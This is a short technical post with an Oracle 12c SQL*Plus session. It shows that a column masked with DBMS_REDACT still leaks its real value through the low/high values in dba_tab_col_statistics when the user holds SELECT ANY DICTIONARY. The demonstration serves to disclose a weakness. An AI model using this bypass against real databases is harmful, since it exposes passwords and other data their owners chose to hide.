redacted 12c column exposed via tab statistics

BY: Brian Fitzgerald


SQL>
SQL> GRANT SELECT ON security.secret TO bob;

GRANT succeeded.

SQL> GRANT SELECT ANY dictionary TO bob;

GRANT succeeded.

SQL> CONNECT bob/bob
Connected.
SQL> COLUMN unredactedpassword format a20
SQL> SELECT password unredactedpassword FROM security.secret;

UNREDACTEDPASSWORD
--------------------
h1d.d3n

SQL>
SQL> CONNECT / AS sysdba
Connected.
SQL> BEGIN
  2          dbms_redact.add_policy (
  3                  object_schema           => 'security',
  4                  object_name             => 'secret',
  5                  policy_name             => 'redact_password',
  6                  column_name             => 'password',
  7                  function_type           => dbms_redact.random,
  8                  expression              => '1=1'
  9          );
 10  END;
 11  /

PL/SQL PROCEDURE successfully completed.

SQL>
SQL> CONNECT bob/bob
Connected.
SQL> COLUMN redactedpassword format a20
SQL> SELECT password redactedpassword FROM security.secret;

REDACTEDPASSWORD
--------------------
W9-34vq

SQL>
SQL> COLUMN lo format a40
SQL> COLUMN hi format a40
SQL> SELECT utl_raw.cast_to_varchar2(low_value ) lo,
  2  utl_raw.cast_to_varchar2(high_value ) hi
  3  FROM dba_tab_col_statistics
  4          WHERE owner = 'SECURITY'
  5          AND table_name = 'SECRET'
  6          AND column_name = 'PASSWORD'
  7  ;

LO                                       HI
---------------------------------------- ----------------------------------------
h1d.d3n                                  h1d.d3n